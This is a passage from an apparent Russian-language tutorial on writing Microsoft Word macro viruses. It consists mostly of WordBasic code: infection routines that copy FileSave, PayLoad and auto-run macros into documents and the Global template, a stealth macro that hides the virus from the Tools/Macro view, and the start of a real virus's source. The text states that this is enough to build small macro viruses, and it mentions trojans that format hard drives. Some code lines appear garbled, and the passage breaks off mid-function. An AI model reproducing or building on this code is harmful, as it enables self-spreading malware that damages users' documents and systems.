’Заражает при сохранении документа
MacroCopy ”FileSave”, WindowName$()+”:FileSave”
MacroCopy ”PayLoad”, WindowName$()+”:PayLoad”
MacroCopy ”FileOpen”, WindowName$()+”:FileOpen”
’При открытии документа
Dlg.Format=1
End If
FileDaveAs dlg
End Sub
Этой информации вполне достаточно для создания небольших макровирусов.
Существует несколько способов скрыть вирус или сделать его более эффективным. Например, можно создать специальный макрос, прячущий вирус, если Tools/Macro открывается для просмотра. Код такого макроса может выглядеть примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox ”start ToolsMacro”
Dim dlg As OutilsMacro
If macros.bDebug Then MsgBox ”1”
GetCurValues dlg
If macros.bDebug Then MsgBox ”2”
On Error Goto Skip
Dialog dlg
OutilsMacro dlg
Skip:
On Error Goto ErrorRoutine ’При ошибке на выход
End If
REM enable automacros
DisableAutoMacros 0
macros.SavToGlobal(OldName$)
macros.objectiv
Goto Done ’Переход на метку
Done
ErrorRoutine:
On Error Goto Done ’Переход на метку
Done
If macros.bDebug Then
MsgBox ”error ”+Str$(Err)+” occurred” ’Сообщение об
ошибке
End If
Done:
End Sub
Макро-вирусы также могут включать внешние процедуры. Например, вирус Nuclear пытается откомпилировать и запустить внешний файл-разносчик вируса, некоторые троянские макросы пытаются форматировать винчестер при открытии документа.
Выше были изложены основы для изучения макро-вирусов. Пришло время рассмотреть исходные тексты.
Macro name: AutoNew [AUTONEW] ”U”
Encryption key: DF
Sub MAIN
’Включаем обработку автоматических макросов
DisableAutoMacros 0
’Проверим, установлен ли макрос. Если макрос AutoExec
’присутствует, считаем, что файл заражен
If (Installed=0) And (ForgetIt=0) Then
’Заразим. Копируем макрос
MacroCopy WindowName$()+”:AutoExec”, ”Global:AutoExec”, 1
MacroCopy WindowName$()+”:AutoNew”, ”Global:AutoNew”, 1
MacroCopy WindowName$()+”:AutoOpen”, ”Global:AutoOpen”, 1
MacroCopy WindowName$()+”:DateiSpeichern”, ”Global:DateiSpeichern”, 1
MacroCopy WindowName$()+”:DateiSpeichernUnter”,
”Global:DateiSpeichernUnter”, 1
MacroCopy WindowName$()+”:DateiBeenden”,
”Global:DateiBeenden”, 1
MacroCopy WindowName$()+”:ExtrasOptionen”,
”Global:ExtrasOptionen”, 1
MacroCopy WindowName$()+”:DateiDokvorlagen”, ”Global:
DateiDokvorlagen”, 1
MacroCopy WindowName$()+”:It”, ”Global:It”, 1
MacroCopy WindowName$()+”:DateiDrucken”, ”Global:DateiDrucken”, 1
End If
End Sub
’Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed
’Установим переменную Installed в 0 (инициализация переменной).